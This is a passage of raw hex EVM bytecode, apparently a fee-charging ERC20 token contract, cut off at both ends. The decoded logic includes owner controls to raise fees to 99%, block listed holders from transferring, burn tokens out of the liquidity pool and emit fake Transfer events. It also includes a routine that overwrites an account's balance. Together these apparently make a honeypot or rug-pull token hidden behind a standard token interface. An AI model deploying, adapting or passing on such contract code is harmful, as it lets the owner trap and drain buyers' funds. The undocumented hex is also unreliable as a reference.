17fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a54565b633b9aca006103e8600161126d611169565b61127791906148bc565b6112819190614945565b61128b9190614945565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149e8565b60405180910390fd5b633b9aca00816112dd91906148bc565b600c8190555050565b60006112f3848484612ad2565b6113b4846112ff612881565b6113af85604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b6113c7612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a1d565b6040518363ffffffff1660e01b81526004016114b4929190614a4a565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a1d565b905060005b848490508110156115a45784848281811061151857611517614a73565b5b905060200201602081019061152d919061439a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115899190614450565b60405180910390a3808061159c90614aa2565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b60006116e5611649612881565b846116e0856003600061165a612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b6116f7612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117cb612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611891612a54565b6102588310156118d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cd90614b5d565b60405180910390fd5b6103e882111580156118e9575060008210155b611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b61195d612a54565b60005b838390508110156119fc57816017600086868581811061198357611982614a73565b5b9050602002016020810190611998919061439a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119f490614aa2565b915050611960565b50505050565b6000611a0c612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a36612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611ac5612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611aed9190614c0f565b611af79190614c0f565b60188190555060196018541115611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90614cb1565b60405180910390fd5b505050565b611b50612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c12612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c3e9061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611c6a9061485b565b8015611cb75780601f10611c8c57610100808354040283529160200191611cb7565b820191906000526020600020905b815481529060010190602001808311611c9a57829003601f168201915b5050505050905090565b601b5481565b611ccf612a54565b611cd9828261365d565b5050565b60115481565b60225481565b601f5481565b611cf7612a54565b611d018282611ef1565b5050565b6000611dc8611d12612881565b84611dc385604051806060016040528060258152602001615a9a6025913960036000611d3c612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611dec611de5612881565b8484612ad2565b6001905092915050565b611dfe612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ef9612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611ff0612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161208d919061437f565b60405180910390a25050565b6120a1612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120c99190614c0f565b6120d39190614c0f565b601c819055506063601c54111561211f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211690614d1d565b60405180910390fd5b505050565b61212c612a54565b633b9aca006103e8600561213e611169565b61214891906148bc565b6121529190614945565b61215c9190614945565b81101561219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590614daf565b60405180910390fd5b633b9aca00816121ae91906148bc565b600b8190555050565b6121bf612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061222d600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a2e565b50565b602460009054906101000a900460ff1681565b600c5481565b6000612253612a54565b620186a06001612261611169565b61226b91906148bc565b6122759190614945565b8210156122b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ae90614e41565b60405180910390fd5b6103e8600a6122c4611169565b6122ce91906148bc565b6122d89190614945565b82111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b60006123c7612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b6123f7612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e90614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611bb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b546130498361177a565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b546131928361177a565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee3061177a565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136389190614264565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561395e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161395590615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c5906153c5565b60405180910390fd5b6139d9838383613e44565b613a4581604051806060016040528060268152602001615a4c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ada81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b7a9190614450565b60405180910390a3505050565b600080613b92613e49565b90508091505090565b6000613ba63061177a565b90506000602254602054602154613bbd9190614c0f565b613bc79190614c0f565b9050600080831480613bd95750600082145b15613be657505050613d21565b6014600d54613bf591906148bc565b831115613c0e576014600d54613c0b91906148bc565b92505b600060028360215486613c2191906148bc565b613c2b9190614945565b613c359190614945565b90506000613c4c8286613eed90919063ffffffff16565b90506000479050613c5c82613f37565b6000613c718247613eed90919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cd1906158b4565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5f91906145bf565b602060405180830381865afa158015613d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da09190615098565b90506000613db96012548361282390919063ffffffff16565b9050613dc484614174565b613dd65760008114613dd557600080fd5b5b600192505050919050565b60008083118290613e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1f9190614264565b60405180910390fd5b5060008385613e379190614945565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ec45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f9565b905092915050565b6000600267ffffffffffffffff811115613f5457613f536158c9565b5b604051908082528060200260200182016040528015613f825781602001602082028036833780820191505090505b5090503081600081518110613f9a57613f99614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561403f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140639190614a1d565b8160018151811061407757614076614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140dc307f000000000000000000000000000000000000000000000000000000000000000084612889565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161413e9594939291906159f1565b600060405180830381600087803b15801561415857600080fd5b505af115801561416c573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142055780820151818401526020810190506141ea565b83811115614214576000848401525b50505050565b6000601f19601f8301169050919050565b6000614236826141cb565b61424081856141d6565b93506142508185602086016141e7565b6142598161421a565b840191505092915050565b6000602082019050818103600083015261427e818461422b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142bb82614290565b9050919050565b6142cb816142b0565b81146142d657600080fd5b50565b6000813590506142e8816142c2565b92915050565b6000819050919050565b614301816142ee565b811461430c57600080fd5b50565b60008135905061431e816142f8565b92915050565b6000806040838503121561433b5761433a614286565b5b6000614349858286016142d9565b925050602061435a8582860161430f565b9150509250929050565b60008115159050919050565b61437981614364565b82525050565b60006020820190506143946000830184614370565b92915050565b6000602082840312156143b0576143af614286565b5b60006143be848285016142d9565b91505092915050565b6000819050919050565b60006143ec6143e76143e284614290565b6143c7565b614290565b9050919050565b60006143fe826143d1565b9050919050565b6000614410826143f3565b9050919050565b61442081614405565b82525050565b600060208201905061443b6000830184614417565b92915050565b61444a816142ee565b82525050565b60006020820190506144656000830184614441565b92915050565b60006020828403121561448157614480614286565b5b600061448f8482850161430f565b91505092915050565b6000806000606084860312156144b1576144b0614286565b5b60006144bf868287016142d9565b93505060206144d0868287016142d9565b92505060406144e18682870161430f565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126145105761450f6144eb565b5b8235905067ffffffffffffffff81111561452d5761452c6144f0565b5b602083019150836020820283011115614549576145486144f5565b5b9250929050565b60008060006040848603121561456957614568614286565b5b600084013567ffffffffffffffff8111156145875761458661428b565b5b614593868287016144fa565b935093505060206145a68682870161430f565b9150509250925092565b6145b9816142b0565b82525050565b60006020820190506145d460008301846145b0565b92915050565b600060ff82169050919050565b6145f0816145da565b82525050565b600060208201905061460b60008301846145e7565b92915050565b61461a81614364565b811461462557600080fd5b50565b60008135905061463781614611565b92915050565b60008060006060848603121561465657614655614286565b5b60006146648682870161430f565b93505060206146758682870161430f565b925050604061468686828701614628565b9150509250925092565b6000806000604084860312156146a9576146a8614286565b5b600084013567ffffffffffffffff8111156146c7576146c661428b565b5b6146d3868287016144fa565b935093505060206146e686828701614628565b9150509250925092565b6000806040838503121561470757614706614286565b5b6000614715858286016142d9565b925050602061472685828601614628565b9150509250929050565b60008060006060848603121561474957614748614286565b5b60006147578682870161430f565b93505060206147688682870161430f565b92505060406147798682870161430f565b9150509250925092565b600061478e826143f3565b9050919050565b61479e81614783565b82525050565b60006020820190506147b96000830184614795565b92915050565b6000602082840312156147d5576147d4614286565b5b60006147e384828501614628565b91505092915050565b6000806040838503121561480357614802614286565b5b6000614811858286016142d9565b9250506020614822858286016142d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061487357607f821691505b602082108114156148875761488661482c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148c7826142ee565b91506148d2836142ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561490b5761490a61488d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614950826142ee565b915061495b836142ee565b92508261496b5761496a614916565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149d2602f836141d6565b91506149dd82614976565b604082019050919050565b60006020820190508181036000830152614a01816149c5565b9050919050565b600081519050614a17816142c2565b92915050565b600060208284031215614a3357614a32614286565b5b6000614a4184828501614a08565b91505092915050565b6000604082019050614a5f60008301856145b0565b614a6c60208301846145b0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614aad826142ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ae057614adf61488d565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b476033836141d6565b9150614b5282614aeb565b604082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bd96030836141d6565b9150614be482614b7d565b604082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000614c1a826142ee565b9150614c25836142ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c5a57614c5961488d565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c9b601d836141d6565b9150614ca682614c65565b602082019050919050565b60006020820190508181036000830152614cca81614c8e565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614d07601d836141d6565b9150614d1282614cd1565b602082019050919050565b60006020820190508181036000830152614d3681614cfa565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d996024836141d6565b9150614da482614d3d565b604082019050919050565b60006020820190508181036000830152614dc881614d8c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614e2b6035836141d6565b9150614e3682614dcf565b604082019050919050565b60006020820190508181036000830152614e5a81614e1e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614ebd6032836141d6565b9150614ec882614e61565b604082019050919050565b60006020820190508181036000830152614eec81614eb0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f4f6026836141d6565b9150614f5a82614ef3565b604082019050919050565b60006020820190508181036000830152614f7e81614f42565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614fbb6020836141d6565b9150614fc682614f85565b602082019050919050565b60006020820190508181036000830152614fea81614fae565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b600061504d602a836141d6565b915061505882614ff1565b604082019050919050565b6000602082019050818103600083015261507c81615040565b9050919050565b600081519050615092816142f8565b92915050565b6000602082840312156150ae576150ad614286565b5b60006150bc84828501615083565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150fb601b836141d6565b9150615106826150c5565b602082019050919050565b6000602082019050818103600083015261512a816150ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061518d6024836141d6565b915061519882615131565b604082019050919050565b600060208201905081810360008301526151bc81615180565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061521f6022836141d6565b915061522a826151c3565b604082019050919050565b6000602082019050818103600083015261524e81615212565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061528b6020836141d6565b915061529682615255565b602082019050919050565b600060208201905081810360008301526152ba8161527e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061531d6025836141d6565b9150615328826152c1565b604082019050919050565b6000602082019050818103600083015261534c81615310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006153af602